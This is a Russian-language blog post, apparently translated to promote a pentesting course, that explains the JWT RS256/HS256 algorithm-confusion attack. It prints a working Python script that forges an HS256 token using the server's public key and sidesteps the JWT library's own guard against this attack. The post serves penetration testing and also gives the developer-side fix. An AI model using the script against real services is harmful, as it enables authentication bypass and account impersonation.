Всем привет. Ни для кого не секрет, что ежемесячно OTUS запускает несколько абсолютно новых уникальных курсов, в этом месяце в их число вошел курс «Пентест. Практика тестирования на проникновение». По устоявшейся традиции, в преддверии старта курса, делимся с вами переводом полезного материала по данному направлению.
Во время последнего пентеста я наткнулся на схему авторизации на основе JSON Web Token (или просто JWT). JWT состоит из трех частей: заголовок, полезная нагрузка, информация для верификации. Первая часть заголовка содержит имя алгоритма, который в дальнейшем будет использоваться для верификационной части JWT. Это опасно, так как злоумышленник может изменить эту информацию и таким образом (возможно) проконтролировать, какая схема будет использоваться сервером для проверки.
Обычно используются две схемы: RS256 (алгоритм на основе цифровой подписи) и HS256 (алгоритм на основе MAC). Совсем небезопасным вариантом будет NULL-схема: вообще не включать информацию о проверке, — к сожалению NULL-схема не была принята целевым веб-сервером.
Небольшая вариация на тему атаки type confusion
на JWT, которая может сработать, если реализация сервера использует библиотеку проверки, которая просто вызывает код, подобный verify(token, key) и предполагает, что будут использоваться только токены с цифровой подписью. В этом случае второй параметр «ключ» всегда будет открытым и будет предъявлен для проверки (цифровые подписи используют закрытый ключ для создания подписи и соответствующий открытый ключ для проверки созданной подписи).
Теперь злоумышленник может получить открытый ключ, создать новый токен на основе MAC и использовать его для создания части верификации этого токена. В схеме на основе MAC для создания верификационной информации нужен только секретный ключ, и таким образом злоумышленник использует открытый ключ (цифровой подписи) в качестве секретного ключа для MAC. Если этот токен теперь передается в проверку на сервере, библиотека идентифицирует схему, которая будет использоваться для токена (который был установлен злоумышленником как HS256, указывающих на схему MAC). Библиотека будет использовать второй параметр в качестве входных данных для создания MAC. Поскольку это открытый ключ, новый MAC совпадает с MAC, который был передан злоумышленников, а поскольку они совпадают, сервер примет поддельный токен. Что в таком случае делать разработчику приложения? Если токен принимается сервером, сервер всегда должен проверять совпадает ли используемый алгоритм с тем, который изначально был запланирован разработчиком.
Теоретически, это должно быть легко проверить, но рабочего инструмента я не нашел. Поэтому я сам написал скрипт на python. Чтобы им воспользоваться, в исходном коде вы должны использовать следующие конфигурации:
jwks_url
: откуда можно получить информацию об открытом ключе. JWKS используется многими службами для открытого распространения информации о ключе.operation_url
: HTTP GET-запрос, который использует JWT-токен для авторизации.token
: валидный JWT для сконфигурированной операции.audience
: аудитория, для которой был настроен токен.
Скрипт делает следующее:
- Скачивает конфигурационный файл JWKS и извлекает параметры открытого ключа. Из этого создается pem-репрезентация.
- Убеждается, что сконфигурированный токен может быть проверен с помощью извлечённого открытого ключа;
- Выполняет сконфигурированную операцию с валидным токеном и выводит полученный HTTP статус-код и итоговый документ (предполагается, что это будет JSON).
- Создает новый токен на основе сконфигурированного. В новом токене тип будет изменен на HS256; MAC (основанный на открытом ключе) будет вычислен и использован как верификационная информация для токена.
- Выполнит сконфигурированную операцию снова с модифицированным токеном и выведет HTTP статус-код, а также возвращаемый документ.
Поскольку возвращаемый статус-код (с модифицированным токеном) был 401 (авторизация запрещена), проверки авторизации на стороне целевого сервера отработали, и он, таким образом, не был скомпрометирован signature-vs-mac атакой. Если бы это работало, идентичные статус-коды и аналогичные итоговые документы были бы созданы при обоих HTTP-вызовах (с исходным, а также с модифицированным токеном).
Надеюсь, эта статья поможет вам в вашей практике пентеста, пользуйтесь скриптом на python с удовольствием:
import jwt
import requests
from jwcrypto import jwk
from cryptography.x509 import load_pem_x509_certificate
from cryptography.hazmat.backends import default_backend
# configuration
jwks_url = "https://localhost/oauth2/.well-known/jwks.json"
operation_url = "https://localhost/web/v1/user/andy"
audience = "https://localhost"
token = "eyJh..."
# retrieves key from jwks
def retrieve_jwks(url):
r = requests.get(url)
if r.status_code == 200:
for key in r.json()['keys']:
if key['kty'] == "RSA":
return jwk.JWK(**key)
print("no usable RSA key found")
else:
print("could not retrieve JWKS: HTTP status code " + str(r.status_code))
def extract_payload(token, public_key, audience):
return jwt.decode(token, public_key, audience=audience, algorithms='RS256')
def retrieve_url(url, token):
header = {'Authorization' : "Bearer " + token}
return requests.get(url, headers=header)
# call the original operation and output it's results
original = retrieve_url(operation_url, token)
print("original: status: " + str(original.status_code) + "nContent: " + str(original.json()))
# get key and extract the original payload (verify it during decoding to make
# sure that we have the right key, also verify the audience claim)
public_key = retrieve_jwks(jwks_url).export_to_pem()
payload = extract_payload(token, public_key, audience)
print("(verified) payload: " + str(payload))
# create a new token based upon HS256, cause the jwt library checks this
# to prevent against confusion attacks.. that we actually try to do (:
mac_key = str(public_key).replace("PUBLIC", "PRIVATE")
hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256")
# call the operation with the new token
modified = retrieve_url(operation_url, str(hs256_token))
print("modified: status: " + str(modified.status_code) + "nContent: " + str(modified.json()))
На этом все. Всех, кто дочитал до конца, ждем на бесплатном вебинаре на тему: «Как начать разбираться с багами в Web».
Автор: Дмитрий